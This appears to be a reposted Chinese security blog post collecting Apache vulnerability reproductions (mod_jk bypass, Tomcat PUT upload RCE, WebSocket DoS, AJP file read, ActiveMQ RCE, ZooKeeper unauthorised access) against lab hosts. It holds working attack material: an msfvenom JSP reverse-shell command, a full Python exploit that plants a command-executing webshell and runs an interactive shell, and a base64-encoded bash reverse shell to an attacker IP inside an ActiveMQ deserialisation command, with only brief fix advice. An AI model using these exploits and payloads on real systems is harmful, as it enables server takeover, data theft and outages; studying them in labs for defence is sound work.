Apache 漏洞总结

admin 2022年4月22日00:19:44评论1,545 views字数 10700阅读35分40秒阅读模式

Apache Apache Mod_jk 访问控制权限绕过 CVE-2018-11759

漏洞描述

Apache Tomcat JK(mod_jk)Connector是美国阿帕奇(Apache)软件基金会的一款为Apache或IIS提供连接后台Tomcat的模块,用以为Apache或IIS服务器提供处理JSP/Servlet的能力。

由于httpd和Tomcat在路径处理规范上存在差异,因此可以绕过Apache mod_jk Connector 1.2.0b版本到1.2.44版本上由JKMount httpd指令所定义端点的访问控制限制。

如果一个只有只读权限的jkstatus的接口可以访问的话,那么就有可能能够公开由mod_jk模块给AJP提供服务的内部路由。

如果一个具有读写权限的jkstatus的接口可以访问的话,我们就能通过修改AJP的配置文件中相关配置来劫持或者截断所有经过mod_jk的流量,又或者进行内部的端口扫描。

是由于Apache Tomcat Web服务器(httpd)用于规范请求路径的代码,在匹配Apache Tomcat JK(mod_jk)连接器中的URI-Worker映射之前,没有正确处理某些边缘情况(如过滤“;”)而导致。攻击者利用此漏洞可通过构造恶意请求,实现访问控制绕过 

影响版本

Apache Mod_jk Connector 1.2.0 ~ 1.2.4

环境搭建

git clone https://github.com/immunIT/CVE-2018-11759.gitdocker-conpose up -d
此处有一个小小的坑点,如果自己本身apache服务是开启状态且没有修改默认开放端口的话,会出现端口占用的情况而不能成功启动环境,此时只需要暂时将apache服务关闭即可

漏洞复现

在搭建好漏洞环境后,

成功访问:http://192.168.88.135/

Apache 漏洞总结


访问http://192.168.88.135/jkstatus 显示无权限

Apache 漏洞总结

访问:http://192.168.88.135/jkstatus; 成功绕过访问控制(此处仅在目录最后加了一个分号;)

Apache 漏洞总结


Apache2即可。

加固建议

1、更新版本

2、打漏洞补丁

参考文章

https://www.codercto.com/a/56907.htmlhttp://blog.nsfocus.net/apache-mod_jk/


Apache Tomcat 远程代码执行漏洞 CVE-2017-12615

漏洞描述

当启用了HTTP PUT请求方法(例如,将readonly 初始化参数由默认值设置为fals),攻击者可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或者获取服务器泉下

漏洞原理

漏洞本事Tomcat下conf/web.xml文件配置了可写(readonly=false),导致我们可以往服务器写文件(使用PUT、DELETE)

<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><load-on-startup>1</load-on-startup></servlet>

虽然Tomcat 对文件后缀有一定检测(不能直接写jsp),但我们可以使用一些文件系统的特性(如Linux下可以/)来绕过限制

影响版本

Apache Tomcat 7.0.0 - 7.0.8

环境搭建

vulhub环境

漏洞复现

访问:http://192.168.88.135:8080/

Apache 漏洞总结

msf生成一个jsp木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.128 LPORT=1234 -f raw > shell.jsp 

Apache 漏洞总结

利用PUT方法上传木马

curl -v -X PUT --data-binary @shell.jsp "http://192.168.88.135:8080/shell.jsp/"

Apache 漏洞总结

监听端口

Apache 漏洞总结

访问文件

Apache 漏洞总结

getshell

Apache 漏洞总结

也可以使用DELETE请求方法删除文件

Apache 漏洞总结

成功删除,访问文件已被删除。

Apache 漏洞总结

漏洞POC

#!/usr/bin/python3#-*- coding:utf-8 -*-# author : PeiQi# from : http://wiki.peiqi.techimport hashlibimport sysimport requestsimport randomimport redef title():print('+------------------------------------------')print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m')print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m')print('+ 33[34m公众号 : PeiQi文库 33[0m')print('+ 33[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 33[0m')print('+ 33[36m使用格式: python3 CVE-2017-12615.py 33[0m')print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 33[0m')print('+ 33[36mCmd >>> shell 33[0m')print('+ 33[36mCmd >>> exit(退出交互并删除webshell) 33[0m')print('+------------------------------------------')def POC_1(target_url):md5_filename = str(random.randint(1,999)).encode("utf-8")file_name = hashlib.md5(md5_filename).hexdigest()vuln_put_url = target_url + "/" + file_name + ".jsp/"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}data = """<%if("peiqi".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1; byte[] b = new byte[1024]; while((a=in.read(b))!=-1){out.println(new String(b)); }} %>"""try:response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)if response.status_code == 201 or response.status_code == 201:print("33[32m[o] 含有CVE-2017-12615漏洞,成功上传shell,文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))return file_nameelse:print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")sys.exit(0)except:print("33[31m[x] 漏洞利用失败,PUT方法关闭 33[0m")sys.exit(0)def POC_2(target_url, file_name, cmd):vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmdheaders = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)if response.status_code == 200:print("33[32m[o] 成功执行命令,响应为:n33[0m",response.text)else:print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")sys.exit(0)except:print("33[31m[x] 漏洞利用失败,命令无法执行 33[0m")sys.exit(0)def POC_3(target_url, file_name):vuln_delect_url = target_url + "/" + file_name + ".jsp/"headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",}try:response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)if response.status_code == 200 or 201:print("33[32m[o] 成功删除shell,文件名为{}.jsp,响应为{}33[0m".format(file_name,response.status_code))return file_nameelse:print("33[31m[x] 删除失败 33[0m")sys.exit(0)except:print("33[31m[x] 删除失败 33[0m")sys.exit(0)if __name__ == '__main__':title()target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))file_name = POC_1(target_url)while True:cmd = input("33[35mCmd >>> 33[0m")if cmd == "exit":POC_3(target_url, file_name)sys.exit(0)else:POC_2(target_url, file_name, cmd)

参考文章

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e


Apache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935

漏洞原理

Tomcat未针对WebSokcet进行包长度校验。特制的WebSocket请求包将导致处理函数无限循环,最终导致服务停机并拒绝服务。

影响版本

Apache Tomcat 10.0.0-M1-10.0.0-M6

Apache Tomcat 9.0.0.M1-9.0.36

Apache Tomcat 8.5.0-8.5.56

Apache Tomcat 7.0.27-7.0.104

环境搭建

vulhub环境

漏洞复现

访问首页确定版本在漏洞版本范围内

Apache 漏洞总结

访问漏洞地址:

http://192.168.88.135:8080/examples/websocket/echo.xhtml

可以访问说明存在漏洞

Apache 漏洞总结

查看攻击前靶机的内存使用情况,可以看到此时的cpu利用率还是比较低的

Apache 漏洞总结

exp运行需要go环境需要提前准备好go环境。

我这里是在kali上装的go环境因为比较简单

apt install golang-go
下载EXP:https://github.com/RedTeamPentesting/CVE-2020-13935

这里有个小坑会报一个错

et/@v/v1.4.2.mod": dial tcp 172.217.27.145:443: connect: connection refused

需要使用命令切换源

go env -w GOPROXY=https://goproxy.cn

Apache 漏洞总结

执行攻击代码

./tcdos ws://192.168.88.135:8080/examples/websocket/echoStreamAnnotation

此时再到靶机上查看CPU利用率直线飙升

Apache 漏洞总结

修复建议

升级到安全版本

针对非必要服务停用WebSocket


Apache Tomcat AJP 文件包含漏洞 CVE-2020-1938

漏洞原理

由于Tomcat AJP协议设计上存在缺陷,攻击者通过Tomcat AJP Connector可以读取或包含Tomcat 上所有webapp目录下的任意文件,例如可以读取webapp配置文件或源代码。 

tomcat默认的conf/server.xml中配置了两个Connector,一个为8080的对外提供HTTP协议端口,另一个就是默认的8009AJP协议端口,两个端口默认均监听在外网IP

Apache 漏洞总结

Apache 漏洞总结

tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而可以控制request对象下面的三个Attribute属性。

javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path

再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件

影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

环境搭建

vulhub环境

漏洞复现

访问网站首页

Apache 漏洞总结

下载POC:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

读取WEB-INF/web.xml

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f /WEB-INF/web.xml 192.168.88.135

Apache 漏洞总结

读取ROOT目录下的build.xml文件内容

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f build.xml 192.168.88.135

Apache 漏洞总结

修复建议

1、官方升级

Apache 漏洞总结

2、如不需要Tomcat AJP协议可直接关闭

3、使用Tomcat AJP协议时,可根据使用版本配置协议属性设置认证凭证


Apache ActiveMQ 反序列化漏洞 CVE-2015-5254

漏洞原理

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

影响版本

Apache ActiveMQ 5.13.0之前5.x版

漏洞复现

访问网站首页

Apache 漏洞总结

下载漏洞利用工具jmt

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jarmkdir external

执行命令(此处为靶机IP地址,)环境运行后开启61616和8161两个端口,其中61616是工作端口,消息在这个端口进行传递。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/vuln" -Yp ROME 192.168.88.135 61616
访问 http://192.168.88.135:8161/admin/browse.jsp?JMSDestination=event

此时会给目标添加一个队列,点击查看该消息即可触发命令执行

反弹shell命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME192.168.88.135 61616

反弹语句

bash -i >& /dev/tcp/192.168.88.128/1234 0>&1base64加密YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=

组合

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

最终嵌入执行语句即可执行命令

Apache 漏洞总结

同时监听1234端口

Apache 漏洞总结

访问网站:http://192.168.88.135:8161/admin/browse.jsp?JMSDestination=event

成功生成事件

Apache 漏洞总结

点击事件触发命令执行成功fantanshell

Apache 漏洞总结

修复建议

升级版本或打补丁

管理员设置强口令,并增强安全意识不要随意点击陌生连接(哪怕是自己站内的)

上WAF


Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)

漏洞原理

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在控制台中

ActiveMQ的WEB控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是存储文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:1、其使用率并不高 2、文件操作容易出现漏洞

所以 ,ActiveMQ在5.12~5.13.x版本中,已经默认关闭fileserver这个应用(可以在conf/jetty.xml中开启)在5.14.0以后便彻底删除了fileserver应用

漏洞产生原因其实很简单,就是fileserver支持写入文件(但不解析jsp),同事支持移动文件(MOVE请求)。所以我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

写入文件的方法

1、写入webshell

2、写入cron或ssh key等文件

3、写入jar或jetty.xml等库和配置文件

写入webshell的优点是门槛低更方便,缺点是fileserver不解析jsp

写入cron或ssh key 好处是直接反弹拿shell,缺点是需要root权限

写入jar比较麻烦(需要jar的后门)

写入xml配置文件需要知道activemq的绝对路径

影响版本

Apache ActiveMQ 5.x~5.14.

漏洞复现

访问url:

http://192.168.88.138:8161/admin/test/systemProperties.jsp

admin/admin登录

Apache 漏洞总结

Apache 漏洞总结

使用PUT方式上传

Apache 漏洞总结

使用MOVE方式移动file:///opt/activemq/webapps/api/s.jsp

Apache 漏洞总结

http://192.168.88.138:8161/api/s.jsp?cmd=ls

Apache 漏洞总结


Apache ZooKeeper 未授权访问漏洞 CVE-2014-085

漏洞原理

ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby的一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等

ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、JAVA环境

默认安装配置完的zookeeper允许未授权访问,管理员未配置访问控制列表(ACL)。导致攻击者可以在默认开放的2181端口下通过执行envi命令获得大量敏感信息(系统名称、java环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据甚至直接关闭服务。

可用于访问控制的模式有:

· word 代表任何用户

· auth 不使用任何id,代表任何已经认证过的用户

· digest 使用username:password认证,password使用md5哈希之后base64再编码,现改成的sha1加密

· IP用客户端的IP作为ACL的标识

环境搭建

#搭建环境

wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gztar -xzvf zookeeper-3.4.14.tar.gzcd zookeeper-3.4.14/confmv zoo_sample.cfg zoo.cfg../bin/zkServer.sh start # 启动搭建成功 默认端口是2181

Apache 漏洞总结

Apache 漏洞总结

Apache 漏洞总结

漏洞复现

靶机IP:192.168.88.128

攻击IP:192.168.88.135

尝试连接

./zkCli.sh -server 192.168.88.128:2181

Apache 漏洞总结

获取服务器环境

Apache 漏洞总结

stat:列出关于性能和连接的客户端的统计信息echo stat | nc 192.168.88.128 2181ruok:测试服务器是否运行在非错误状态echo ruok | nc 192.168.88.128 2181reqa:列出未完成的请求echo reqs | nc 192.168.88.128 2181envi: 打印有关服务环境的详细信息echo envi | nc 192.168.88.128 2181dump : 列出未完成的会话和临时节点echo dump | nc 192.168.88.128 2181

Apache 漏洞总结

在zk的客户端进行节点权限的查看和设置

Apache 漏洞总结

从上述操作可以看出,zk新创建的test默认访问方式为word。我们通过addauth和setAcl给/test节点设置访问权限为digest,操作权限为cdrwa,用户名为user,密码为password

另起zk客户端,执行ls /test,发现当前用户已经无法访问/test阶段了,提示信息为“Authentication is not valid”.解决办法就是addauth添加认证用户了,并且必须使用用户名和密码明文进行认证

addauth添加digest认证用户user后,即可正常访问/test节点了

另外znode的ACL是相互独立的,也就是说,任意不同节点可以用不同的acl列表,互不影响,并且ACL是不可被继承的

修复建议

禁止把Zookeeper直接暴露在公网

添加访问控制,根据情况选择应对方式(认证用户,用户名密码,指定IP)

配置防火墙策略,只允许指定IP访问2181端口

配置服务ACL限制IP 访问

利用工具下载地址:

https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip

参考文章

https://blog.csdn.net/u011721501/article/details/44062617https://www.cnblogs.com/0nc3/p/12071281.htmlhttps://xz.aliyun.com/t/6103#toc-7https://blog.csdn.net/Aaron_Miller/article/details/106049421https://www.cnblogs.com/ilovena/p/9484522.html

Apache 漏洞总结


• 往期精选

Apache 漏洞总结
Apache 漏洞总结

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

Apache 漏洞总结

下方点击关注发现更多精彩!

原文始发于微信公众号(银河护卫队super):Apache 漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月22日00:19:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache 漏洞总结http://cn-sec.com/archives/932646.html

发表评论

匿名网友 填写信息